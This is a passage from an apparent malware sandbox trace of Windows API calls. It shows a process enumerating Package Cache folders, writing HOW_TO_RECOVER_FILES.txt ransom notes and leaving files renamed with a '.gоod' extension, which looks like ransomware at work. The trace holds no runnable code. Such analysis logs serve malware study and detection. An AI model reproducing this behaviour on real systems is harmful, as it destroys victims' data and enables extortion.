lpOldMode=0x202ece70) returned 1 [0146.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0146.040] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0146.040] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.041] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.041] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c8c3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.041] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0146.041] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.041] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0146.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0146.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0146.042] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0146.042] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.042] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.042] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31444a0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfc91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0146.042] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c8c3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.042] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0146.043] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.043] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0146.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0146.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0146.043] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0146.055] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.056] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.056] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31444a0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfc91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0146.056] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c8c3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.056] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0146.056] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0146.057] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0146.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0146.057] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8b [0146.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0146.057] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0146.058] GetFileType (hFile=0x7f8) returned 0x1 [0146.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0146.058] GetFileType (hFile=0x7f8) returned 0x1 [0146.059] WriteFile (in: hFile=0x7f8, lpBuffer=0x3649a90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3649a90*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0146.060] CloseHandle (hObject=0x7f8) returned 1 [0146.060] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0146.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0146.060] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0146.061] GetFileType (hFile=0x7f8) returned 0x1 [0146.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0146.061] GetFileType (hFile=0x7f8) returned 0x1 [0146.061] WriteFile (in: hFile=0x7f8, lpBuffer=0x364d3b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x364d3b8*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0146.062] CloseHandle (hObject=0x7f8) returned 1 [0146.062] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0146.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0146.062] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0146.063] GetFileType (hFile=0x7f8) returned 0x1 [0146.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0146.063] GetFileType (hFile=0x7f8) returned 0x1 [0146.064] WriteFile (in: hFile=0x7f8, lpBuffer=0x3650cb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3650cb0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0146.065] CloseHandle (hObject=0x7f8) returned 1 [0146.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0146.065] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x52 [0146.065] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.065] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e18393, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32f95aab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0146.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0146.066] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0146.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0146.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0146.066] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x52 [0146.066] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e18393, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32f95aab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0146.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.067] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0146.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0146.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0146.067] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0146.068] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.068] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.068] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e18393, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x32e18393, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, 